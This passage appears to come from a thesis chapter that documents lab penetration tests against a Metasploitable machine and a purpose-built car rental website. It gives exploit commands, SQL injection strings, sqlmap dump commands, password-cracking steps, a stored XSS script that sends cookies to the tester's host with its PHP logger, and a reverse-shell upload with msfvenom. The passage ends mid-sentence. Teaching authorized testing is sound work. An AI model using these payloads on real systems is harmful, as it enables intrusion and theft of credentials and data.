for the machine 192.168.1.19. We configured the Nessus as shown in following print screen: 
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Figure 4.17: The nessus main screen 

Then we defined the Name of assessment, a description and the IP of the target machine: 

 
Figure 4.18: Configuration Nessus scan for Metasploitable Machine 

And we executed the vulnerability scanning: 

 
Figure 4.19: Launch the vulnerability scan for Metasploitable 

When the vulnerability scanning is finished, we are received and overview the results. Via 

inspection the results,we were concluded that Metasploitable machine (192.168.1.19) have 

the below vulnerabilities: 

• 8 Critical  
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• 6 High 

• 30 Medium 

• 5 Low 

• 133 Info 

 
Figure 4.20: Overall graph of vulnerabilities in Nessus tool 

We can display more details about the know vulnerabilities that exist on the target machine 

by pressing the bar of vulnerabilities. 

 
Figure 4.21: List of vulnerabilities in Nessus tool 

Furthermore,the Nessus tool provide us more details about each any vulnerabilities found on 

the target machine that may be important for the next phases. 
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Figure 4.22: Vulnerability details in Nessus tool 

The most dangerous vulnerabilities in the Metasploitable that have found during the 

vulnerability assessment are described to the following table: 

Table 4.4: List of critical risk vulnerabilities 

Name Risk 
Factor 

Description 

32314 - Debian OpenSSH/OpenSSL 
Package Random Number Generator 
Weakness (CVE-2008-0166) 

Critical The remote SSH host key has been generated on a 
Debian or Ubuntu system which contains a bug in the 
random number generator of its OpenSSL library. 
The problem is due to a Debian packager removing 
nearly all sources of entropy in the remote version 
of OpenSSL. An attacker can easily obtain the private 
part of the remote key and use this to set up 
decipher the remote session or set up a man in the 
middle attack. 

32321 - Debian OpenSSH/OpenSSL 
Package Random Number Generator  
Weakness (SSL check) (CVE-2008-
0166) 

Critical The remote x509 certificate on the remote SSL 
server has been generated on a Debian or Ubuntu 
system which contains a bug in the random number 
generator of its OpenSSL library. The problem is due 
to a Debian packager removing nearly all sources of 
entropy in the remote version of OpenSSL. An 
attacker can easily obtain the private part of the 
remote key and use this to decipher the remote 
session or set up a man in the middle attack. 

11356 - NFS Exported Share 
Information Disclosure 
(CVE-1999-0170,CVE-1999-0211,CVE-
1999-0554) 

Critical At least one of the NFS shares exported by the 
remote server could be mounted by the scanning 
host. An attacker may be able to leverage this to 
read (and possibly write) files on remote host. 

46882 - UnrealIRCd Backdoor 
Detection (CVE-2010-2075) 

Critical The remote IRC server is a version of UnrealIRCd 
with a backdoor that allows an attacker to execute 
arbitrary code on the affected host. 

61708 - VNC Server 'password' 
Password 

Critical The VNC server running on the remote host is 
secured with a weak password. Nessus was able to 
login using VNC authentication and a password of 
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'password'. A remote, unauthenticated attacker 
could exploit this to take control of the system. 

51988 - Bind Shell Backdoor Detection Critical A shell is listening on the remote port without any 
authentication being required. An attacker may use 
it by connecting to the remote port and sending 
commands directly. 

4.1.4 Phase E: Exploitation 

The penultimate phase of penetration testing is the Exploitation which we try to exploit all the 

vulnerabilities that exists on the target machine. The unique purpose on this phase is to gain 

unauthorized access on the server, discover sensitive information such as passwords etc. 

4.1.4.1 Verification of the known vulnerabilities 

Firstly, we verify whether the vulnerabilities that we were found in the previous phase are 

exists and can be exploited. 

The first two vulnerabilities that exist on the above table are related with the 

OpenSSH/OpenSSL protocols. As we have discovered from the Nmap tool the target machine 

uses the OpenSSH 4.7p1 version on the port 22. This version of OpenSSH is very old as it was 

released on 2007. OpenSSH is open-source version of the SSH protocol which is a 

cryptographic network protocol used to connect with network services securely over an un-

trusted network. More simply, the SSH is a secure way to login to servers and embedded 

devices that support the SSH protocol. In the other side the OpenSSL is open source project 

for the SSL (Secure Socket Layer) and TLS (Transport Layer Security) protocols. The most 

popular and used application of OpenSSL is the HTTPS protocol. In our case the OpenSSH 4.7 

used a component of the OpenSSL library in order to generate the secure asymmetric 

cryptographic keys. These keys are used to authenticate a client to an SSH server instead of 

passwords. This technique characterized as more secure than authentication via passwords. 

The vulnerability is specifically within the Pseudo Random Number Generation (PRNG) used 

by the OpenSSL. This algorithm generates predictable numbers and made vulnerable all the 

systems that use the OpenSSH 4.7 

In order to start the exploitation, we downloaded the file debian_ssh_rsa_2048_x86.tar.bz2 

from the GitHub repository (https://github.com/offensive-security/exploitdb-bin-

sploits/raw/master/bin-sploits/5622.tar.bz2) and extracted it to a directory on tester’s Kali Linux 

machine. 

This file contains 2048 bit RSA keys that were generated using the vulnerable OpenSSL library. 

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2
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Figure 4.23: RSA keys that created with vulnerable OpenSSL library 

With this file, we ran the exploit (5720.py) against the vulnerable host with the below 

command: 

         python 5720.py rsa/2048/ 192.168.1.19 root 22 10 

 
Figure 4.24: Launch the exploit with RSA keys 

Table 4.5: The parameters that used on exploit 
Parameters Description 

rsa/2048/ The directory that contains the RSA keys 
which generated with the vulnerable 
OpenSSH 

192.168.1.19 The IP of the target machine 
(Metasploitable) 

root The User to attempt logging in as 

22 The port to connect (Source: Nmap results) 

10 How many threads run the script 

The result of the above command is the below: 

 
Figure 4.25: The result of exploit 

The RSA key that has been matched is the private key associated with the root user’s 

public/private key pair. This mean that we can log in as root user on this server. In order to 

login to the server with this key we executed the following command: 
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Figure 4.26: Command to login to the server with RSA key 

As you can see in the below printscreen we achieved to login on the target machine as root 

user.

 
Figure 4.27: Logged in to the server with RSA key 

The third vulnerability of the above table is related with the NFS (Network File System) which 

is a service that can be found in the Linux systems and allow users to access shared directories 

in a network. From the phase B&C we have identify that the nfs service running on the port 

2049. 

 
Figure 4.28: Information that is displayed for the second vulnerability 

Then we ran the command showmount -e 192.168.1.19 in order to list the accessible shares 

of remote system. 

 
Figure 4.29: Launch the showmount command 

The result that we received is: 
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Figure 4.30: The result of showmount command 

This mean that the root directory is shared over the network. Then we executed the following 

commands: 

1. mkdir /temp 

2. mount -t nfs 192.168.1.19:/ /temp -o nolock 

3. df -f  

4. cd /temp 

 
Figure 4.31: The result of mount the share directory 

7The result of these commands is that we had mount the share directory of remote system 

and we had access in the file system on the target machine. 

The fourth vulnerability on the list is related UnrealIRCd which is an Open-Source IRC server. 

This type of server runs on Linux,OS X and windows operating systems. The IRC server 

(Internet Relay Chat) is an application layer protocol that facilitates communication in the 

form of text. We have extracted some useful information about this particular vulnerability 

from the Nessus tool: 

 
Figure 4.32: Information that is displayed for the third vulnerability 
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Figure 4.33: Reference information for vulnerability 

In order to examine this vulnerability CVE 2010-2075, we used the Metasploit tool. 

First of all, we opened the Metasploit tool in the Kali Linux machine and we searched for the 

specific exploit on the Metasploit (2010-2075). 

 
Figure 4.34: Finding the exploit on the Metasploit tool 

Then we used this exploit with the command use and we configured the options as shown on 

the below prinscreen:  
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Figure 4.35: Configure the exploit 

Finally, we ran the command “run” and command shell session has been opened where we 

could run all Linux commands against the target machine. 

 
Figure 4.36: Launch the exploit & shell session 

The penultimate known vulnerability of the target system is related with VNC (Virtual Network 

Computing) which is running on the target system. More specifically, the VNC is a simple 

protocol that used for remote access to graphical user interface (GUI) . 

 
Figure 4.37: Information that is displayed for the fourth vulnerability 

We have identified that the service is running on the port 5900(Nmap results), we can check 

if it using weak/default passwords. In order to this we used the Hydra which is login cracker. 
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We chose to run a dictionary attack (word list) with the Hydra tool. 

The command that we executed is the below: 

 
Figure 4.38: Execution of Hydra tool 

The outcome of the command was: 

 
Figure 4.39: Results of hydra tool 

From the result of Hydra tool, we verified that the password is the ‘password’ for the ‘root’ 

user. After we found the password, we tried to log in using the vncviewer as shown below: 

 
Figure 4.40: Login with vnc viewer on target machine 
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Figure 4.41: Login on the target machine with vncviewer 

The last critical vulnerability that the target machine has, is the Blind Shell Backdoor which 

mean that the shell of target machine is listening on the remote port without any 

authentication. This have as a result to use it by connecting to the remote port without any 

authentication and send commands directly on the target machine. 

 
Figure 4.42: Information that is displayed for the last vulnerability 

From the results that we gathered on the Footprinting & Scanning phase; we identified that 

the machine's shell is listening on port 1524.As we did not need a password, we used the 

command netcat to connected on the remote shell. 
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Figure 4.43: Exploitation of vulnerability 

4.1.4.2 Exploit the Web Application 

As we have verified that the target machine hosts a web application as shown in the below 

screenshot: 

 
Figure 4.44: The web application that is hosted on the target machine 

In this web application as penetration tester, we try to identify if the web application is 

vulnerable on the below attacks which are referred on the OWASP list: 

1. SQL Injection 

2. Cross Site Scripting (XSS) 

Firstly, we created a new user that helped us to identify if the web application is vulnerable 

on the SQL injection. 
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Figure 4.45: Creation of user that help us on penetration testing 

The user that we used on the penetration testing have the below data: 

Username: pentest and Password: pentest 

Then, we examined the SQL injection as is the most common vulnerability in the web 

applications. After our research we found two pages that we consider that the web application 

could be vulnerable on SQL Injections attacks. The first one is the Login page which have two 

input fields, the user and password as displayed below:  

 
Figure 4.46: Evaluate the Login page against SQL Injection attack 

Our first test was to inserted the character ‘ on the field Name and we received the below 

database error: 

 
Figure 4.47: SQL error that displayed 

The error message provides us many useful information about the database and the type of 

database. Furthermore, it approved that the This specific error referred to the SQL syntax is 

not correct. We continued our tests and we put as username the value pentest and as 

password the value: pentest' AND 1=1--' and we managed to login as pentest user. 
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Figure 4.48: The input that we used for SQL injection 

This mean that the SQL query (Error log from the above printscreen) has the below format: 

Select * FROM accounts WHERE username=’pentest’ AND password=’pentest’ AND 1=1—’ 

The above query is executed if all the where clauses are true (username=pentest , 

password=pentest , 1=1 which always is true). But when we tried to use as username, the 

value: pentest and password : pentest’ AND 1=2—’ we received the below message: 

 
Figure 4.49: Evalute the password field on the Login page 

With the above actions we verified that the Login page is vulnerable on the SQL injection. For 

this reason, we tried to login on the web application bypassing the authentication. In order to 

achieve this, we used the following values: 

Username: [empty] 

Password: ‘ OR 1=1--’  

With above values the query that used has the following format: 

Select * FROM accounts WHERE username=’’ and password=’’ OR 1=1—’ 

 
Figure 4.50: The input that we used on the password field 

We have achieved to login as admin without provide the password. 

The next page that we examined in our penetration testing is the “View your details”. 
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Figure 4.51: Evaluate the “View your details” page 

With the same way as before we tried to display a database error. In order to achieve this we 

added the character ‘ on the username but the web application did not display an error but 

when we added the character ‘ on the password field we achieved to display the database 

error which is important for us. 

 
Figure 4.52: The SQL error that displayed on the page 

This mean that password field was possible to be vulnerable on the SQL injection. 

We tried the value: ‘ OR 1=1 –’ on the password field and we received the below result: 

 
Figure 4.53: Display the users credentials through SQL Injection attack 

We have achieved to display useful information about the users (Username and passwords) 

without any authorization. This means that “View your details” page is vulnerable on SQL 

injections. 
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After learning that there are SQL injections available, we used the sqlmap tool to exploit them 

and retrieved all the data from the application database: 

Firstly, we configured the Firefox browser to use a proxy server and with the help of Burp suite 

tool we managed to capture the request from the page “View your details”. The request was 

the below: 

 
Figure 4.54: Capture the GET request with Burp Suite 

Then we opened a terminal on the Kali Machine and we ran the command: 

>sqlmap -r /Desktop/req.txt [The req.txt file contain the above request] 

 
Figure 4.55: Execute the sqlmap with the GET request 

The outcome of this command is: 

 
Figure 4.56: The result of sqlmap command 

Which informed us that both parameters (username and password) were vulnerable. 

Then we used the sqlmap tool again in order to extract all the useful information about the 

database. Once we have the database engine and the vulnerable fields, we used the sqlmap 

command to get a list of databases on the server. The command that helped us to extract the 

information was the following: 
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Sqlmap -r req.txt -p username –dbms mysql –dbs 

 
Figure 4.57: Display the databases with sqlmap tool 

The databases that are existed on the server are the following: 

1. dvwa 

2. information_schema 

3. metasploit 

4. mysql 

5. owasp10 

6. tikiwiki 

7. tikiwiki195 

But it was not clear which database is used from the web application, then we come back to 

the web application and more specifically on the page “View your details” and we tried to 

identify how many columns contained on the table accounts and returned on the query. We 

inserted the following values sequentially on the username field in order to not received an 

error. 

➢ ‘ UNION select 1 -- -‘ 

 
Figure 4.58: Error sql error for 1 parameter 

The query did not return 1 argument! 

➢ ‘ UNION select 1,2 -- -‘ 
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Figure 4.59: Error sql error for 2 parameters 

The query did not return 2 argument! 

➢ ‘ UNION  select 1,2,3 -- -‘ 

 
Figure 4.60: Error sql error for 3 parameters 

The query did not return 3 argument! 

➢ ‘ UNION select 1,2,3,4 -- -‘ 

 
Figure 4.61: Error sql error for 4 parameters 

The query did not return 4 argument! 

➢ ‘ UNION select 1,2,3,4,5 -- -‘ 
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Figure 4.62: Successful SQL command with 5 parameters 

Nevertheless, with 5 arguments we did not receive an error that means that the query return 

5 arguments and the account table have 5 columns. 

➢ ‘ UNION select 1,2,3,4,5,6 -- -‘ 

 
Figure 4.63: Error sql error for 6 parameters 

The query did not return 6 argument! 

Then we extracted some basic information about the web application and its database. We 

achieved to find the name of the database that used by the web application. We defined as 

username the value ‘ UNION select 1,database(),3,4,5 -- -‘ and we have the following output : 

 
Figure 4.64: Successful SQL command 

We found that the database of the web application is the owasp10.Then as we found the 

name of database, we returned on the sqlmap and we found the tables of this database. 

Command: sqlmap  -r req.txt -p username –dbms mysql -D owasp10 --tables 
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Figure 4.65: Display the tables of owasp10 database 

It seems that the most interesting tables are the accounts and credits cards. With the help of 

the sqlmap tool we achieved to capture the data that are contained on these tables: 

1. sqlmap  -r req.txt -p username –dbms mysql -D owasp10 -T accounts –dump 

2. sqlmap  -r req.txt -p username –dbms mysql -D owasp10 -T credit_cards –dump 

 
Figure 4.66: Display the content of account table 

 
Figure 4.67: Display the content of credit_cards table 

As we identified that the web applications is vulnerable on the SQL injection, we examined if 

the web application is vulnerable to another type of attack the Cross Site Scripting (XSS). More 

specifically, the Cross-Site Scripting(XSS) attacks are a type of injection, in which a malicious 

script are injected into websites. Flaws that allow these attacks to succeed are quite 

widespread and occur anywhere a web application uses input from a user within the output 
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it generates without validating or encoding it. These attacks are separated into two categories, 

stored and reflected. Stored attacks are those where the injected script is permanently stored 

on the target web server, such as in database. The victim then retrieves the malicious script 

from the server when it requests the stored information. Against the stored attacks, the 

reflected attacks are those where the injected script is reflected off the web server, such as in 

an error message, search result, or any other response that includes some or all of the input 

sent to the server as part of the request. These types of attacks are delivered to the victims 

via malicious email or on some other website. 

In our case we tried to execute both XSS attacks (Reflected and stored) on the web application 

in order to identify if the website is vulnerable on the XSS attacks. 

Firstly, we examined the login page for XSS attacks. As the functionality of the login page is to 

receive the username and password from the user and check them if they exist on the 

database, but does not store any data on the database. This mean that the login page can be 

vulnerable only on the reflected XSS attack. In our testing we are using the simple code     

<script> alert(“XSS Exploit”); </script> which create an pop up window with the message XSS 

Exploit. 

 
Figure 4.68: XSS attack on Login page 

Our XSS attack was successful as shown the below print screen : 

 
Figure 4.69: Popup message appeared with XSS attack 

Then we tried the same value on the password field: 
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Figure 4.70: XSS attack on Login page on the password field 

But it seems that the password field is not vulnerable on XSS attacks as did not show the alert 

message. 

Then we examined the page where the user can display their account information, which is 

vulnerable to SQL injection as we identified previously. Also, this page can be vulnerable with 

only reflected XSS attack as did not store any data on the database. 

First, we examined the username field with the same value as using as on the previous page: 

 
Figure 4.71: XSS attack on View your details page 

 
Figure 4.72: Popup message on View your details 

 

Figure 4.73: XSS attack on password field 

 
Figure 4.74: Popup message on View your details(password field) 
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The above result verified that the username and password fields on this particular page is 

vulnerable on XSS attacks. 

The next page that we tried to execute a XSS attack is page that the user could add a blog 

entry. This page store data on the database, for this reason we tried to perform an advanced 

stored XSS attack. More specifically, we used the user pentest that we have created and 

develop a script that send us the cookie and the username from anyone user who visit the 

malicious blog. 

First of all, we logged in to the web application with the user pentest (Username: pentest and 

password: pentest) 

 
Figure 4.75: Logged in as pentest 

Then we added a new entry on the pentest’s blog with our malicious script. The script that we 

used in this case is the following: 

<script> 

var i= new Image(); 

i.src = “http://192.168.1.15/log.php?q= ”+ document.cookie; 

</script> 

The above script sends on our machine (IP:192.168.1.15) the cookie of the user that visit our 

malicious blog page. The log.php was created on our machine in order to save the users 

cookies in a text file. The source code of this script is the following: 

<?php  

$filename = “/tmp/log.txt”; 

$fp=fopen($filename,’a’); 

$cookie=$_GET[‘q’]; 

Fwrite($fp,$cookie); 

Fclose($fp); 

?> 

 
Figure 4.76: Upload the malicious script 
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Figure 4.77: The malicious script on database 

Now our script is stored on the database and be accessible every time that a user visits our 

blog page. 

We waited for another user to visit our blog in order to collect the cookie on our machine. 

After a while a user visited our blog and we managed to capture his cookie in the log.txt file. 

 
Figure 4.78: Captured the cookie for admin user 

We achieved to capture the admin’s cookie. This was useful as we used this cookie in order to 

connect on the page as admin, in order to achieve this, we follow the below steps: 

1. Login with the pentester user: 

 
Figure 4.79: Logged in with the pentest account 

2. Then we used the add-on “Cookie Manager” on the Firefox and we changed the 

cookie information for this page: 

 
Figure 4.80: Cookie Manager for the web page 

After the changes: 
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Figure 4.81: Change the cookie on Cookie Manager 

3. In the end we refreshed the page and we saw that we are log in as admin user: 

 
Figure 4.82: Admin session 

With this way we verified that the web site is vulnerable on Persistent XSS attack as we can 

inject JavaScript code on the database and executed when we received this malicious code 

4.1.4.3 More types of Exploitations: 

Cracking all users’ passwords 

In this additional example we tried to capture all the usernames and passwords from the 

vulnerable machine and we tried to decrypt all the passwords. More specifically, as we have 

already unauthorized access to the vulnerable machine with one of the above ways, we 

gathered all the usernames and passwords. The files that contains all the usernames and 

passwords on the Linux machines are /etc/passwd and /etc/shadow 

 
Figure 4.83: Content of /etc/passwd file 
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Figure 4.84: Content of /etc/shadow file 

Then we merged (with command unshadow) these two files in order to create a new one with 

the name to_crack  

 
Figure 4.85: Merge shadow and passwd files (unshadow tool) 
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Finally, in order to decrypt the passwords, we used the tool John the Ripper:

 
Figure 4.86: Cracking the passwords with John The Ripper tool 

With the help of John the Ripper tool as shown in the above printscreen we found the 

following user credentials: 

Table 4.6: Cracked passwords for webserver 
Username Password 

user user 

postgres postgres 

msfadmin msfadmin 

service service 

Null session attacks 

As we have found that this specific machine is vulnerable on the null session attacks because 

the File Server Service is active. This vulnerability allows us to access remote shares and 

browse the remote machine. 

The tool that we used in order to achieve this is the smbclient. Also,we should identify the list 

of share using smbclient: 

 
Figure 4.87: Share folders on web server 
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Figure 4.89: Network Datagram 

Then we tried to access to the temp share folder and saw what files are stored in the temp: 

 
Figure 4.88: Browse the tmp share folder 

4.2 Use Case with Pivoting 

The second use case that we created for the application of penetration testing is a relatively 

complex network which very similar to the network topology of a small company. This 

network topology consists of 2 machines which have as operating system Windows 7 & Linux. 

More specifically, the first machine is a Raspberry pi in which is hosted a web site that created 

only for thesis purpose (Web server). The second machine is a computer that have as 

operating system Windows 7 and is connected on the router but all the ports on this machine 

are filtered and that means that is not accessible. Nevertheless, we are configured the second 

machine to be accessible only from the first machine (Web server). 

The above information is outlined in the below network diagram: 
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Additional initial information about the machines that included on this use case are defined 

on the below table: 

Table 4.7: Machines on the target network 
Machine IP Operating System Version 

Penetration 
Tester machine 

192.168.1.21 Kali Linux  

Raspberry Pi  
Web server  

192.168.1.11 Linux Linux Ubuntu 18.04.1 
Kernel version : 5.4.0-
1030-raspi 

Workstation A 192.168.1.23 Windows Windows 7 SP1 (version 
7601) 

4.2.1 Phase A: Engagement 

As we described on the first section of thesis, on this phase the penetration tester agrees all 

details about the penetration testing with the company. In our case, we supposed that the 

company wants to examine its entire network and more specifically the website that is hosted 

on the web server and if it is possible an unauthorized user gain access on the Windows 

machine (Workstation A) 

Finally, we assume that the company has agreed to the terms of the penetration testing which 

are summarized below: 

Table 4.8: Rules of Engagement (ROE) for the first case 
Rules of Engagement (ROE). 

Type of Penetration Testing Internal Testing (As the penetration tester is connected 
directly on the company’s network) 

Project Schedule Deadline in 10 days 

Scope • Checking the entire IT infrastructure for vulnerabilities 
(Web Server,Web Site,Workstation A(if is 
accessible)) 

• Checking if the Workstation A is accessible from 
unauthorized users.    

Testing Tools  Nmap,Nessus,Metasploit,Dirbuster,enum4linux,sqlmap,john 
the ripper 

Termination of Testing  If the penetration tester is not able to gain access to target 
machine (Workstation A) in accordance with the scope, the 
testing will cease. If the penetration tester is able to gain 
access the whole process should documented and provide 
the supporting evidence. 

Reporting The final report should be delivered within 15 days of the 
completion of the test. 

4.2.2 Phase B & C: Information Gathering & Footprinting and Scanning 

Once the legal paperwork was completed the penetration tester can start the phases 

Information Gathering & Footprintint and Scanning. As we have agreed to perform internal 

penetration testing, we are connected to the company’s network directly. This option offered 

us many important general information regarding the type of business, assets, products, 

services etc . 

In this phase we will try to collect a lot of useful information such as the following: 



97 
 

• The hosts that are up in our network 

• The IPs of these hosts 

• The operating Systems that have these hosts  

• The ports that are open on these hosts as well as the services that run on them 

The above information is the basic information that a penetration tester needs in order to 

start a penetration testing in a company. 

 In our case as we are connected to the internal network of company, we have already 

obtained an internal IP on our machine that displayed on the below print screen: 

 
Figure 4.90: Execute the ifconfig command 

From the above print screen we identified that our Kali Linux machine have the IP 

192.168.1.21 as we used the wireless network adapter (wlan0 interface).Then the first step 

that we performed is to find all the machines that are connected on this specific network with 

the Nmap tool. The command that we were used is the following: 

 
Figure 4.91: Scan the network with Nmap tool 

 
Figure 4.92: Hosts that are up on the target network 

With the above command we ran a ping scan in order to discover all the host which are 

connected on the network without port scan. In our target network we have find that 3 hosts 

are connected on the company network. The results of the above command are summarized 

on the below table: 

Table 4.9: Summarized results of Nmap tool 
Machine IP 

Our Machine 192.168.1.21 

Company’s 
Router  

192.168.1.1 
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Ubuntu Host 192.168.1.11 

Therefore, from the above results of the command, we realized that we need to focus only on 

the Ubuntu host with IP 192.168.1.11. For this reason, we try to find more information about 

the machine with IP 192.168.1.11. 

We started searching for open ports on this machine with the nmap tool by executing the 

command nmap –sT 192.168.1.11 and we identified that the Ubuntu machine have only the 

22(ssh) and 80(http) port open as shown in the following print screen: 

 
Figure 4.93: Port scan with Nmap tool 

As we located two open ports on the machine, we tried to identify the services that run on it 

along with their versions and we found the following results: 

Table 4.10: Open ports for the Web server 
Port Service Version 

22 ssh OpenSSH 7.6p1 Ubuntu 

80  http Apache httpd 2.4.29 

 

 
Figure 4.94: Version Detection with Nmap tool 

By default, Nmap scans the 1,000 most popular ports of each protocol it is asked to scan, so 

we used another scanning tool the Masscan which is faster than the nmap  in order to find if 

there are any more open ports on the machine. From our scan we found that in our target 

machine there are no other ports open as shown in the following screenshot: 

 
Figure 4.95: Port scan with Masscan tool 
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In summary, we identified that on our target machine (192.168.1.11) the open ports, the 

services that runs on them and their versions that are displayed on the following table: 

Table 4.11: Open ports for the Web server-final table 
Port Service Version 

22 ssh OpenSSH 7.6p1 Ubuntu 

80  http Apache httpd 2.4.29 

The indication that the port 80 is open on the target machine, lead us to the conclusion that 

the server-machine may be host a website application. For this reason, we visited the URL 

http://192.168.1.11 through a web browser and we identified that a web site is existed on the 

server. 

 
Figure 4.96: The main page of web site 

Via inspection the web site, we noted that the web application is concern a car rental company 

which consists with the following web pages: 

 
Figure 4.97: Web pages that are hosted on the web server 

To be able to search for more pages that are not visible through a link we used the Dirbuster 

tool. As we described on the first section the Dirbuster is designed to brute force directories 

http://192.168.1.11/
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and files names on web/application server. In our case we searched for directories, files with 

php, bak and txt extension on the server http://192.168.1.11 based on the file directory-list-

2.3-small.txt. 

 
Figure 4.98: Searching for hidden folders/files (Dirbuster tool) 

From the Dirbuster results we identified that the robots.txt file is existing on the target server. 

Robots.txt is a text file with instructions for search engine crawlers. It defines which areas of 

a website crawlers are allowed to search. Using this simple text file, developers can easily 

exclude entire domains, complete directories, one or more subdirectories or individual files 

that contains sensitive information from search engine crawling. 

http://192.168.1.11/
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Figure 4.99: Robot.txt file exist on the webserver 

We tried to navigate on this specific file and we identified that file is accessible and contain 

the following entry: 

 
Figure 4.100: Content of robots.txt file 

From the above entry that contained on the robot.txt file we understand that the developer 

of the website wanted to hide the file dbconfig.bak from the crawlers. We navigated the file 

dbconfig.bak and we found that the respective file is accessible and contain sensitive 

information about the database connectivity. 

 
Figure 4.101: Downloading the file that included on the robots.txt 



102 
 

 
Figure 4.102: Content of the dbconfig.bak file 

The sensitive information from the above file are summarized on the following table: 

Table 4.12: Findings from the server 1 

Useful information for future use  

IP of database DB user DB Password Database Name 

192.168.1.11 carrental p@ssw0rd123 carrental 

4.2.3 Phase D: Vulnerability Assessment 

The next phase in the penetration testing is the Vulnerability Assessment where the 

penetration tester tries to find any known possible vulnerabilities existing in the target system. 

In our case we used the Nessus tool in order to find all the possible vulnerabilities for the 

machine with IP 192.168.1.11, we noted that the following results were found in the target 

machine: 

 
Figure 4.103: Scanning the webserver for vulnerabilities (Nessus tool) 
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Table 4.13: Web server vulnerabilities 
Target 
Machine 

Critical High  Medium  Low Info 

192.168.1.11 0 
Vulnerabilities  

0 
Vulnerabilities 

0 
Vulnerabilities 

0 
Vulnerabilities 

24 
info 

As we saw from the print screen above, the destination machine has no known vulnerabilities 

in order to exploit them and gain access to the machine.  

4.2.4  Phase E: Exploitation 

As we already mentioned above on the first section (2.2.5 Exploitation), in this phase the 

penetration tester tries to exploit any vulnerability on the target machine in order to gain at 

least a low privilege access. In our case as there are no known vulnerabilities on the target 

machine. For this reason, we investigated the web application that is hosted on the machine 

as we have already discovered on the phase B&C Information Gathering & Footprinting and 

Scanning. 

The first page that we investigated is the viewmore.php page which display more information 

about the selected car. For instance, we selected the first car of the table on the page 

viewcar.php: 

 
Figure 4.104: Viewcars webpage 

and we received the following web page: 
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Figure 4.105: Viewmore webpage 

The above page was received through a GET request with parameter “id” as showed up on 

the URL. This parameter “id” is used to identify the car for which its data will be retrieved from 

the database and displayed on the web page. This is an important factor that the page can be 

vulnerable to SQL injection attacks and for this reason we tried to inject SQL code through this 

parameter. 

We used a pre-installed tool on the Kali linux the sqlmap tool in order to identify if the id 

parameter is vulnerable on SQL injection attacks.Sqlmap is an open source penetration testing 

tool that automates the process of detecting and exploiting SQL injection flaws and taking 

over of database server.By executing the command: 

➢ sqlmap -u “192.168.1.11/viewmore.php?id=2” -p id 

and we noted that the id parameter is vulnerable on the SQL injection attacks as resulted from 

the sqlnmap tool. 

 
Figure 4.106: Execute sqlmap against viewmore page 

Once we were able to detect a website that is vulnerable to SQL injection attack, with the 

same tool we retrieved data from the database as shown in the following images: 
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➢ Display the databases that exists on the server: 

sqlmap -u “192.168.1.11/viewmore.php?id-2” -- dbs 

 
Figure 4.107: Finding databases on the web server 

➢ Display the database tables with the command: 

sqlmap -u “192.168.1.11/viewmore.php?id-2” –tables -D carrental 

 
Figure 4.108: Finding tables for carrental database 

➢ Display the columns of the table “Customer” with the command: 

sqlmap -u “192.168.1.11/viewmore.php?id-2” – columns -D carrental -T customer 

 
Figure 4.109: Finding columns for the customer table 

➢ Display the columns of the table “Customer” with the command: 

sqlmap -u “192.168.1.11/viewmore.php?id-2” – columns -D carrental -T employee 
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Figure 4.110: Finding columns for the employee table 

➢ Display data entries from the table “Customer” with the command: 

sqlmap -u “192.168.1.11/viewmore.php?id-2” –dump -D carrental -T customer 

 
Figure 4.111: Displaying the content of customer table 

➢ Display data entries from the table “employee” with the command: 

sqlmap -u “192.168.1.11/viewmore.php?id-2” –dump -D carrental -T employee 

 
Figure 4.112: Displaying the content of employee table 
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From the above attack on the page viewmore.php we achieved to gain sensitive data from the 

database carrental. This information is stored throughout the penetration test as it may be 

useful in later phases. 

Table 4.14: Findings from the server 2 
Useful information for future use  

IP of database DB user DB Password Database Name 

192.168.1.11 Carrental p@ssw0rd123 carrental 

Data from customer table 

custid emailed fname lname password 

1 admin admin admin admin 

2 test test test test 

3 robishon@yahoo.net Robishon Papad robishon 

5 you@yoursite.com test test test 

Data from employee table 

emailed loginid employeeid fname lname password employeetype 

admin@admin.com admin 1 Manager Manager 
of 
Center 

admin1 Admin 

mlyons@test.site jackceo 2 Jack Wisher jack123ceo CEO 

tom@carrental.gr tom 3 Tom B. .. Skagen passwordtom    employee 

kelly@carrental.gr Kelly 4 Kelly B. . Skagen kellyugasd employee 

The second web page that we investigated was the login page and we tried to bypass the login 

process and login on the web application without credentials. In order to achieve that, we 

used firstly the Burp Suite tool to identify the fields that are sent with the POST request when 

the user tries to connect on the web application. 

 
Figure 4.113: Configuring the browser for proxy server 

mailto:tom@carrental.gr
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Figure 4.114: Capturing the POST request with Burp Suite tool 

From the above printscreen that display the POST request we concluded that the request used 

as parameters the loginid, the password and the parameter submit which is always fixed. To 

bypass the login process, we tried to insert SQL code into the username field(logindid) to 

create a sql statement that is always true. After many attempts, we managed to bypass the 

user authentication with the value admin’ or ‘1’=’1 and login as administrator to the web 

application. 

 
Figure 4.115: Bypass the user authentication with SQL injection 
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Figure 4.116: Logged in as administrator 

However, we could also use the passwords that we have previously retrieved from the 

database since the user passwords are stored on the database on plaintext format and are 

not encrypted. 

As we are login with high privileged user(administrator) on the web page,we found out that a 

new menu item was appeared and more specifically the item “new car”. Via inspection this 

page, we noted that the administrator has the ability to create a new car. Furthermore, we 

found out that during the process of creating a new car, the administrator has the ability to 

upload a photo of the car on the server. After a research on the page we conclude that there 

is no validation procedure for type of file that can be uploaded. This helped us to gain a reverse 

shell on the target machine with the following steps: 

1. We used the msfvenom in order to creating a payload for the web server.Msfvenom 

is command line instance of Metasploit and is combination of generating and 

encoding payload for different use. More specifically, we executed the following 

command to create the payload: 

 
Figure 4.117: Creating payload with Msfvenom 

Table 4.15: Msfvenom command information 
Command detailed Information  

Payload (-p) We used the custom payload php/meterpreter_reverse_tcp in order 
to create a meterpreter session with the target machine. Furthermore, 
we used the reverse_tcp istead of bind_tcp because with the bind_tcp 
the attacker initiating the connection to the target machine which may 
be  blocked by the firewall but with reverse_tcp the target machine 
initiate the connection to the attacker which be allowed by the 
firewall. 

LHOST This is the IP address of the local machine (Tester machine) where we 
need to get session after payload execution. In our case the IP is the 
192.168.1.21 

LPORT This is the port on LHOST that attacker wants the target machine to 
connect to. In our case the LPORT is the 443 
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-f raw This option is used to define the output format of payload 

 

 
Figure 4.118: Creating payload with Msfvenom 2 

 
Figure 4.119: Additional steps for php payload 

2. We uploaded the payload that created on the above step through the web page 

newcar.php and more specifically as an image of a new car. 

 
Figure 4.120: Uploading the payload on the webserver 

3. We started a handler with Metasploit application in order to receive the connection 

from the backdoor that was created and uploaded in the previous steps. We 

